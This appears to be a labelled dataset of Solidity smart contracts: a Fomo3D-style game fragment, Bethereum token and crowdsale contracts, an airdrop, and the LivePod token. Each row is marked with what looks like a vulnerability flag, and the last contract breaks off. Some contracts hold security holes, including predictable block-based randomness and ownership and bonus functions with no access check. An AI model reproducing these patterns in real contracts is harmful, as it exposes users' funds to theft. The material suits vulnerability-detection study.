function endRound(Datasets.EventData memory _eventData_) private returns (Datasets.EventData) {
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(58)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID])) / 100;
uint256 _res = ((_pot.sub(_win)).sub(_com)).sub(_gen);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0) {
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
foundation.deposit.value(_com)();
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return (_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast) private {
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0) {
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID) private {
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0) {
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
} else {
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
}
if (_newTime < (rndMax_).add(_now)) {
round_[_rID].end = _newTime;
} else {
round_[_rID].end = rndMax_.add(_now);
}
}
function airdrop() private view returns(bool) {
uint256 seed = uint256(keccak256(abi.encodePacked(
(now).add(block.difficulty).add(
(uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)
).add(block.gaslimit).add(
(uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)
).add(block.number)
)));
if ((seed - ((seed / 1000) * 1000)) < airDropTracker_) {
return true;
} else {
return false;
}
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, Datasets.EventData memory _eventData_) private returns(Datasets.EventData) {
uint256 _com = _eth / 25;
foundation.deposit.value(_com)();
uint256 _firstAff = _eth / 20;
if (_affID == _pID || plyr_[_affID].name == "") {
_affID = 1;
}
plyr_[_affID].aff = _firstAff.add(plyr_[_affID].aff);
emit Events.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _firstAff, now);
uint256 _secondAff = _eth / 10;
uint256 _secondAffID = plyr_[_affID].laff;
if (_secondAffID == plyr_[_secondAffID].laff && plyr_[_secondAffID].name == "") {
_secondAffID = 1;
}
plyr_[_secondAffID].aff = _secondAff.add(plyr_[_secondAffID].aff);
emit Events.onAffiliatePayout(_secondAffID, plyr_[_secondAffID].addr, plyr_[_secondAffID].name, _rID, _affID, _secondAff, now);
return (_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, Datasets.EventData memory _eventData_) private returns(Datasets.EventData) {
uint256 _gen = (_eth.mul(fees_[_team])) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
uint256 _pot = _eth.sub((_eth / 5).add(_gen));
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0) {
_gen = _gen.sub(_dust);
}
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return (_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) {
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID) private returns(uint256) {
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0) {
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, Datasets.EventData memory _eventData_) private {
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit Events.onEndTx(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
function activate() public onlyOwner {
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library Datasets {
struct EventData {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
}
library KeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) {
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) {
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth) internal pure returns(uint256) {
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys) internal pure returns(uint256) {
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
library NameFilter {
function nameFilter(string _input) internal pure returns(bytes32) {
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30) {
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++) {
if (_temp[i] > 0x40 && _temp[i] < 0x5b) {
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false) {
_hasNonNumber = true;
}
} else {
require(_temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters");
if (_temp[i] == 0x20) {
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
}
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) {
_hasNonNumber = true;
}
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y) {
y = z;
z = ((add((x / z), z)) / 2);
}
}
function sq(uint256 x) internal pure returns (uint256) {
return (mul(x, x));
}
function pwr(uint256 x, uint256 y) internal pure returns (uint256) {
if (x == 0) {
return (0);
} else if (y == 0) {
return (1);
} else {
uint256 z = x;
for (uint256 i = 1; i < y; i++) {
z = mul(z, x);
}
return (z);
}
}
} | 1 | 2,940 |
contract ContractReceiver {
function tokenFallback(address _from, uint _value, bytes _data) {
_from;
_value;
_data;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC223Interface {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract BethereumERC223 is ERC223Interface {
using SafeMath for uint256;
string public constant _name = "Bethereum";
string public constant _symbol = "BETHER";
uint8 public constant _decimals = 18;
address public owner;
mapping(address => uint256) public balances;
mapping(address => mapping (address => uint256)) public allowed;
function BethereumERC223() {
owner = msg.sender;
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed to, uint256 value);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
function balanceOf(address _address) constant returns (uint256 balance) {
return balances[_address];
}
function transfer(address _to, uint _value) returns (bool success) {
if (balances[msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to]) {
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value
&& allowed[_from][msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to]) {
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
balances[_to] += _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _allowance) returns (bool success) {
allowed[msg.sender][_spender] = _allowance;
Approval(msg.sender, _spender, _allowance);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function name() constant returns (string name) {
return _name;
}
function symbol() constant returns (string symbol) {
return _symbol;
}
function decimals() constant returns (uint8 decimals) {
return _decimals;
}
function transfer(address _to, uint _value, bytes _data) returns (bool success) {
if (balances[msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to]) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
} else {
return false;
}
}
function transferToAddress(address _to, uint _value, bytes _data) internal returns (bool success) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) internal returns (bool success) {
balances[msg.sender] -= _value;
balances[_to] += _value;
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value);
Transfer(msg.sender, _to, _value, _data);
return true;
}
function isContract(address _address) internal returns (bool is_contract) {
uint length;
if (_address == 0) return false;
assembly {
length := extcodesize(_address)
}
if(length > 0) {
return true;
} else {
return false;
}
}
function () {
throw;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is BethereumERC223, Pausable {
function transfer(address _to, uint256 _value, bytes _data) public whenNotPaused returns (bool) {
return super.transfer(_to, _value, _data);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
}
contract MintableToken is BethereumERC223, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract BethereumToken is MintableToken, PausableToken {
function BethereumToken(){
pause();
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _endTime, address _wallet) {
require(_endTime >= now);
require(_wallet != 0x0);
token = createTokenContract();
endTime = _endTime;
wallet = _wallet;
}
function createTokenContract() internal returns (BethereumToken) {
return new BethereumToken();
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable { }
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public constant returns (bool) {
return now > endTime;
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
bool public weiCapReached = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract BETHERTokenSale is FinalizableCrowdsale {
using SafeMath for uint256;
uint public constant RATE = 17500;
uint public constant TOKEN_SALE_LIMIT = 25000 * 1000000000000000000;
uint256 public constant TOKENS_FOR_OPERATIONS = 400000000*(10**18);
uint256 public constant TOKENS_FOR_SALE = 600000000*(10**18);
uint public constant TOKENS_FOR_PRESALE = 315000000*(1 ether / 1 wei);
uint public BONUS_PERCENTAGE;
enum Phase {
Created,
CrowdsaleRunning,
Paused
}
Phase public currentPhase = Phase.Created;
event LogPhaseSwitch(Phase phase);
function BETHERTokenSale(
uint256 _end,
address _wallet
)
FinalizableCrowdsale()
Crowdsale(_end, _wallet) {
}
function setNewBonusScheme(uint _bonusPercentage) {
BONUS_PERCENTAGE = _bonusPercentage;
}
function mintRawTokens(address _buyer, uint256 _newTokens) public onlyOwner {
token.mint(_buyer, _newTokens);
}
function buyTokens(address _buyer) public payable {
require(currentPhase == Phase.CrowdsaleRunning);
require(_buyer != address(0));
require(msg.value > 0);
require(validPurchase());
uint tokensWouldAddTo = 0;
uint weiWouldAddTo = 0;
uint256 weiAmount = msg.value;
uint newTokens = msg.value.mul(RATE);
weiWouldAddTo = weiRaised.add(weiAmount);
require(weiWouldAddTo <= TOKEN_SALE_LIMIT);
newTokens = addBonusTokens(token.totalSupply(), newTokens);
tokensWouldAddTo = newTokens.add(token.totalSupply());
require(tokensWouldAddTo <= TOKENS_FOR_SALE);
token.mint(_buyer, newTokens);
TokenPurchase(msg.sender, _buyer, weiAmount, newTokens);
weiRaised = weiWouldAddTo;
forwardFunds();
if (weiRaised == TOKENS_FOR_SALE){
weiCapReached = true;
}
}
function addBonusTokens(uint256 _totalSupply, uint256 _newTokens) internal view returns (uint256) {
uint returnTokens;
uint tokens = _newTokens;
returnTokens = tokens.add(tokens.mul(BONUS_PERCENTAGE).div(100));
return returnTokens;
}
function setSalePhase(Phase _nextPhase) public onlyOwner {
currentPhase = _nextPhase;
LogPhaseSwitch(_nextPhase);
}
function transferTokenOwnership(address _newOwner) {
token.transferOwnership(_newOwner);
}
function finalization() internal {
uint256 toMint = TOKENS_FOR_OPERATIONS;
token.mint(wallet, toMint);
token.finishMinting();
token.transferOwnership(wallet);
}
} | 1 | 2,864 |
pragma solidity ^0.4.19;
contract LemonToken {
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract LemonSelfDrop is Ownable {
LemonToken public LemonContract;
uint8 public dropNumber;
uint256 public LemonsDroppedToTheWorld;
uint256 public LemonsRemainingToDrop;
uint256 public holderAmount;
uint256 public basicReward;
uint256 public donatorReward;
uint256 public holderReward;
uint8 public totalDropTransactions;
mapping (address => uint8) participants;
function LemonSelfDrop () {
address c = 0x2089899d03607b2192afb2567874a3f287f2f1e4;
LemonContract = LemonToken(c);
dropNumber = 1;
LemonsDroppedToTheWorld = 0;
LemonsRemainingToDrop = 0;
basicReward = 500;
donatorReward = 500;
holderReward = 500;
holderAmount = 50000;
totalDropTransactions = 0;
}
function() payable {
require (participants[msg.sender] < dropNumber && LemonsRemainingToDrop > basicReward);
uint256 tokensIssued = basicReward;
if (msg.value > 0)
tokensIssued += donatorReward;
if (LemonContract.balanceOf(msg.sender) >= holderAmount)
tokensIssued += holderReward;
if (tokensIssued > LemonsRemainingToDrop)
tokensIssued = LemonsRemainingToDrop;
LemonContract.transfer(msg.sender, tokensIssued);
participants[msg.sender] = dropNumber;
LemonsRemainingToDrop -= tokensIssued;
LemonsDroppedToTheWorld += tokensIssued;
totalDropTransactions += 1;
}
function participant(address part) public constant returns (uint8 participationCount) {
return participants[part];
}
function setDropNumber(uint8 dropN) public onlyOwner {
dropNumber = dropN;
LemonsRemainingToDrop = LemonContract.balanceOf(this);
}
function setHolderAmount(uint256 amount) public onlyOwner {
holderAmount = amount;
}
function setRewards(uint256 basic, uint256 donator, uint256 holder) public onlyOwner {
basicReward = basic;
donatorReward = donator;
holderReward = holder;
}
function withdrawAll() public onlyOwner {
owner.transfer(this.balance);
}
function withdrawLemonCoins() public onlyOwner {
LemonContract.transfer(owner, LemonContract.balanceOf(this));
LemonsRemainingToDrop = 0;
}
function updateLemonCoinsRemainingToDrop() public {
LemonsRemainingToDrop = LemonContract.balanceOf(this);
}
} | 1 | 3,193 |
pragma solidity ^0.4.24;
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address owner) public view returns (uint256);
function allowance(address owner, address spender) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(msg.sender == _owner, "Unauthorized.");
_;
}
constructor() public {
_owner = msg.sender;
}
function owner() public view returns (address) {
return _owner;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Non-zero address required.");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b, "Invalid argument.");
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0, "Invalid argument.");
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a, "Invalid argument.");
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a, "Invalid argument.");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "Invalid argument.");
return a % b;
}
}
contract StandardToken is ERC20, Ownable {
using SafeMath for uint256;
uint256 internal _totalSupply;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(uint256 initialSupply) public {
_totalSupply = initialSupply;
_balances[msg.sender] = initialSupply;
}
function () public payable {
revert("You cannot buy tokens.");
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function transfer(address to, uint256 value) public returns (bool) {
require(to != address(0), "Non-zero address required.");
require(_balances[msg.sender] >= value, "Insufficient balance.");
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(to != address(0), "Non-zero address required.");
require(_balances[from] >= value, "Insufficient balance.");
require(_allowed[from][msg.sender] >= value, "Insufficient balance.");
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
}
contract ERC223 {
function name() public view returns (string);
function symbol() public view returns (string);
function decimals() public view returns (uint8);
function transfer(address to, uint256 value, bytes data) public returns (bool);
function transferFrom(address from, address to, uint256 value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
}
contract ERC223Receiver {
function tokenFallback(address from, uint256 value, bytes data) public;
}
contract MintableToken {
function mintingFinished() public view returns (bool);
function finishMinting() public returns (bool);
function mint(address to, uint256 value) public returns (bool);
}
contract BurnableToken {
function burn(uint256 value) public returns (bool);
function burnFrom(address from, uint256 value) public returns (bool);
}
contract ExtendedToken is StandardToken, ERC223, MintableToken, BurnableToken {
using SafeMath for uint256;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
bool internal _mintingFinished;
event Burn(address indexed account, uint256 value);
event Mint(address indexed account, uint256 value);
event MintingFinished();
constructor(uint256 totalSupply, string name, string symbol, uint8 decimals) StandardToken(totalSupply) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_mintingFinished = false;
}
function name() public view returns (string) {
return _name;
}
function symbol() public view returns (string) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function transfer(address to, uint256 value) public returns (bool) {
bytes memory empty;
return transfer(to, value, empty);
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
bytes memory empty;
return transferFrom(from, to, value, empty);
}
function transfer(address to, uint256 value, bytes data) public returns (bool) {
if (_isContract(to)) {
ERC223Receiver receiver = ERC223Receiver(to);
receiver.tokenFallback(msg.sender, value, data);
super.transfer(to, value);
emit Transfer(msg.sender, to, value, data);
return true;
}
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value, bytes data) public returns (bool) {
if (_isContract(to)) {
ERC223Receiver receiver = ERC223Receiver(to);
receiver.tokenFallback(from, value, data);
super.transferFrom(from, to, value);
emit Transfer(from, to, value, data);
return true;
}
return super.transferFrom(from, to, value);
}
function burn(uint256 value) public returns (bool) {
require(_balances[msg.sender] >= value, "Insufficient balance.");
return _burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public returns (bool) {
require(from != address(0), "Non-zero address required.");
require(_balances[from] >= value, "Insufficient balance.");
require(_allowed[from][msg.sender] >= value, "Insufficient balance.");
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
return _burn(from, value);
}
function _burn(address from, uint256 value) private returns (bool) {
_totalSupply = _totalSupply.sub(value);
_balances[from] = _balances[from].sub(value);
emit Transfer(from, address(0), value);
emit Burn(from, value);
return true;
}
function mintingFinished() public view returns(bool) {
return _mintingFinished;
}
function finishMinting() public returns (bool) {
require(_mintingFinished == false, "");
_mintingFinished = true;
emit MintingFinished();
return true;
}
function mint(address to, uint256 value) public returns (bool) {
require(to != address(0), "Non-zero address required.");
_totalSupply = _totalSupply.add(value);
_balances[to] = _balances[to].add(value);
emit Transfer(address(0), to, value);
emit Mint(to, value);
return true;
}
function _isContract(address _account) private view returns (bool) {
uint256 size = 0;
assembly { size := extcodesize(_account) }
return size > 0;
}
}
contract LivePodToken is ExtendedToken {
using SafeMath for uint256;
bool private _tradingStarted;
address private _preSaleAgent;
address private _publicSaleAgent;
event TradeStarted();
constructor() ExtendedToken(0 * (10 ** 18), "LIVEPOD TOKEN", "LVPD", 18) public {
_tradingStarted = false;
_preSaleAgent = 0;
_publicSaleAgent = 0;
}
function transfer(address to, uint256 value) public hasStartedTrading returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public hasStartedTrading returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public hasStartedTrading returns (bool) {
return super.approve(spender, value);
}
function transfer(address to, uint256 value, bytes data) public hasStartedTrading returns (bool) {
return super.transfer(to, value, data);
}
function transferFrom(address from, address to, uint256 value, bytes data) public hasStartedTrading returns (bool) {
return super.transferFrom(from, to, value, data);
}
modifier hasStartedTrading() {
require(_tradingStarted, "The trade has not started yet.");
_;
}
function trading() public view returns (bool) {
return _tradingStarted;
}
function startTrading() public onlyOwnerAndAgents returns (bool) {
_tradingStarted = true;
emit TradeStarted();
return true;
}
function setPreSaleAgent(address agent) public onlyOwner returns (bool) {
require(agent != address(0), "Non-zero address required.");
_preSaleAgent = agent;
return true;
}
function setPublicSaleAgent(address agent) public onlyOwner returns (bool) {
require(agent != address(0), "Non-zero address required.");
_publicSaleAgent = agent;
return true;
}
modifier onlyOwnerAndAgents() {
require((msg.sender == owner()) || (msg.sender == _preSaleAgent) || (msg.sender == _publicSaleAgent), "Unauthorized.");
_;
}
function finishMinting() public onlyOwner returns (bool) {
return super.finishMinting();
}
function mint(address to, uint256 value) public onlyOwnerAndAgents returns (bool) {
return super.mint(to, value);
}
function transferAnyERC20Token(address tokenAddress, uint256 amount) public onlyOwner returns (bool) {
return ERC20(tokenAddress).transfer(owner(), amount);
}
function destroy() public onlyOwner {
selfdestruct(owner());
}
} | 1 | 2,322 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping(address => bool) public allowedAddresses;
mapping(address => bool) public lockedAddresses;
bool public locked = true;
function allowAddress(address _addr, bool _allowed) public onlyOwner {
require(_addr != owner);
allowedAddresses[_addr] = _allowed;
}
function lockAddress(address _addr, bool _locked) public onlyOwner {
require(_addr != owner);
lockedAddresses[_addr] = _locked;
}
function setLocked(bool _locked) public onlyOwner {
locked = _locked;
}
function canTransfer(address _addr) public constant returns (bool) {
if(locked){
if(!allowedAddresses[_addr]&&_addr!=owner) return false;
}else if(lockedAddresses[_addr]) return false;
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(canTransfer(msg.sender));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
